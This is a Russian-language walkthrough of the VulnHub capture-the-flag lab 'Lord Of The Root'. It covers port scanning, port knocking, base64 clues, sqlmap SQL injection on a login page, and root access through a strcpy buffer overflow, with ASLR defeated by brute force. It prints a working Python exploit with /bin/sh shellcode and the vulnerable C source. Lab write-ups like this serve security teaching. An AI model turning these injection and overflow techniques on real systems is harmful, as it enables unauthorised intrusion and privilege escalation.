Продолжаем разбор квестов с VulnHub, на этот раз попался довольно интересный с обходом ASLR: Lord Of The Root. Но обо всём по порядку...
Запускаем виртуалку с образом:
Уже интересно. В этой лабе нам предоставили графический интерфейс, и дали первую зацепку, в виде логина пользователя: smeagol.
Но оставим пока авторизацию, и перейдём к изучению открытых портов:
$ sudo arp-scan -l | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
Starting Nmap 7.01 ( nmap.org ) at 2016-12-21 19:33 MSK
Nmap scan report for 192.168.1.175
Host is up (0.00033s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
| 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|_ 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
MAC Address: 08:00:27:40:B5:B3 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 — 3.19, Linux 3.2 — 4.0
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Всего 1 порт? Серьёзно? Запустив nmap повторно, убеждаемся, что пока нам доступен только ssh. Попробуем подключиться:
$ ssh smeagol@192.168.1.175
«Постучи друг, чтобы войти» — отсылка к Властелину Колец. Быстро найдя, что в оригинале друг — это mellon, пробуем авторизоваться.
Попытка оказалась неудачной, брутфорс логинов и возможных паролей по тематике тоже не дал результатов.
Меня смутило слово постучи, уже имея дело с port knocking, я предположил что он и тут используется.
Проверяем догадку:
$ sudo knock 192.168.1.175 1 2 3; ssh smeagol@192.168.1.175
К сожалению, ничего не изменилось. авторизация по прежнему требуется. А что если, после «стука» открывается какой-то порт?
$ sudo knock 192.168.1.175 1 2 3; sudo nmap 192.168.1.175 -sV -p1-65535
Спустя продолжительное время, получаем такой результат:
Starting Nmap 7.01 ( nmap.org ) at 2016-12-22 02:42 MSK
Nmap scan report for 192.168.1.175
Host is up (0.00020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
1337/tcp open http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 08:00:27:39:91:65 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
P.S. Тут стоит оговориться, что для ускорения процесса, сканировать порты лучше небольшими диапазонами.
Действительно, на «элитном» порту крутится Apache, посмотрим что там:
<html>
<img src="/images/iwilldoit.jpg" align="middle">
</html>
Не многословно… После анализа картинки, в ней тоже ничего не было найдено. Возможно есть скрытые файлы и директории?
sudo dirsearch -u http://192.168.1.175:1337/ -e php,html,js,json,jpg,txt,bak -w /usr/share/dirb/wordlists/big.txt
Ничего интересного, на всякий случай заглянув на 404.html, получаем ещё одно изображение:
И вот такой код:
<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>
А вот это уже что-то! Декодируем:
$ echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
$ echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d
/978345210/index.php
Ссылка на на ещё одну старницу, переходим туда:
Авторизация… Проверяем первым делом на наличие SQL инъекций:
$ sudo sqlmap -u 'http://192.168.1.175:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' -vv
Нас редиректнуло. Сказав sqlmap продолжить искать, проверяем что находится на странице profile.php. Авторизуемся, используя найденный payload.
<!DOCTYPE html>
<html>
<head>
<title>LOTR Profile</title>
</head>
<body>
<div id="profile">
<b id="welcome">Welcome : <i></i></b>
<br> <img src="/images/legolas.jpg" align="middle"><br>
<b id="logout"><a href="logout.php">Log Out</a></b>
</div>
</body>
</html>
Не найдя тут ничего интересного, продолжаем раскручивать инъекцию:
$ sudo sqlmap -u 'http://10.0.31.127:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' --dbms=MySQL -p username --tables --risk=3 --level=2
В лог sqlmap попала база данных: Webapp и единственная таблица: Users. После дампа которой, получаем список логинов и паролей:
Тут есть пользователь smeagol, полагаясь на то, что пароль от веб такой же как пароль от системы, пробуем авторизоваться и получаем рабочий стол. Отлично!
В истории команд видим записи:
smeagol@LordOfTheRoot:~$ cat .bash_history
su — sudo /etc/passwod
visudo
smeagol@LordOfTheRoot:~$
Открыв браузер, в истории можно проследить весь этап создания этой лабы:
Тут же видим ссылку, на описание уязвимости с переполнением буфера.
Далее при беглом осмотре системы находим папку /SECRET со следующим содержимым:
Почитав статью, понимаем, что один из этих файлов имеет описанную там уязвимость, а ниже находим пример эксплойта. Осталось понять какой из файлов. Скачиваем их себе и открываем в IDA, для любителей gdb в виртуалке могут использовать его.
/SECRET/door1/file
/SECRET/door2/file
/SECRET/door3/file
И так, нужный нам файл находится за «второй дверью», если внимательно посмотреть, то заметно, что размер этого файла меньше чем у остальных. Копируем эксплоит, компилим его, запускаем, и ничего. Пробуем подставить другие числа, и снова ничего.
Открыв этот файл в gdb прямо на виртуальной машине, видим что он изменился! О как… Понаблюдав ещё некоторое время, замечаем, что уязвимый файл, постоянно «перемещается» между этими директориями.
Далее шла череда безуспешных попыток воспользоваться этим эксплойтом, на все попытки я либо ничего в ответ не получал, либо это была ошибка «Segmentation fault» либо «Illegal instruction»
После долгих экспериментов и просмотра состояния регистров и стека, до и после обработки входной строки, я заметил, что адрес стека всё меняется в диапазоне от 0xBF000000 до 0xBFFFFFFF.
Выполнив команду:
$ cat /proc/sys/kernel/randomize_va_space 2
Убеждаемся, что в системе включен ASLR. Есть несколько способов его обхода, о них уже неоднократно писалось ранее. Я остановился на BruteForce, потому что диапазон изменения памяти не такой большой, да и файл слишком прост, чтобы всё усложнять.
Нам потребуется GDB Peda.
Для начала, нужно определиться со смещением по которому находится адрес возврата, именно его и нужно будет переписать.
Запускаем наш файл в отладчике, передав ему очень длинную строку в качестве аргумента
Отлично, адрес возврата (EIP) перезаписан нашим значением.
Далее, с помощью шаблонов в peda можно автоматически определить смещение по которому этот адрес расположен. Создаём шаблон:
И после запуска получаем примерно такой вывод:
Смещения найдены (я брал примерно среднее значение адреса стека), можно приступить к написанию эксплоита. Там же в peda можно на выбор сгенерировать шелл-код:
Однако сразу стоит предупредить, что у вас могут быть другие смещения.
#!/usr/bin/python
import struct
import os
def p(x):
return struct.pack("<L", x)
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
payload = ""
payload += "A"*171
payload += p(0xbfb1c5ec)
payload += "\x90"*30000
payload += shell
def getFile():
output = subprocess.Popen(['find', '/SECRET/', '-type', 'f', '-size', '-7k'], stdout=subprocess.PIPE)
path = output.communicate()[0]
path = path.decode().strip()
return path
while True:
os.system('%s "%s"' %(getFile(), payload))
#os.system('gdb --args %s "%s"' %(getFile(), payload))
После запуска получаем кучу ошибок, и спустя некоторое время получаем root доступ, а вместе с ним и флаг:
P.S. Кому интересно, вот так выглядели исходники, скрипта меняющего файлы и уязвимая программа. Скрипт switcher.py был прописан в cron.
switcher.py
#!/usr/bin/python
import os
from random import randint
targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"]
for t in targets:
os.system("rm "+t+"*")
os.system("cp -p other "+t)
os.system("cp -p "+t+"other "+t+"file")
os.system("rm "+t+"other")
luckyDoor = randint(0,2)
t=targets[luckyDoor]
os.system("rm "+t+"*")
os.system("cp -p buf "+t)
os.system("cp -p "+t+"buf "+t+"file")
os.system("rm "+t+"buf")
other.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char buff[150];
if(argc <2){
printf("Syntax: %s <input string>\n", argv[0]);
exit (0);
}
//This Program does nothing
return 0;
}
buf.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char buff[159];
if(argc <2){
printf("Syntax: %s <input string>\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
return 0;
}
Поделиться с друзьями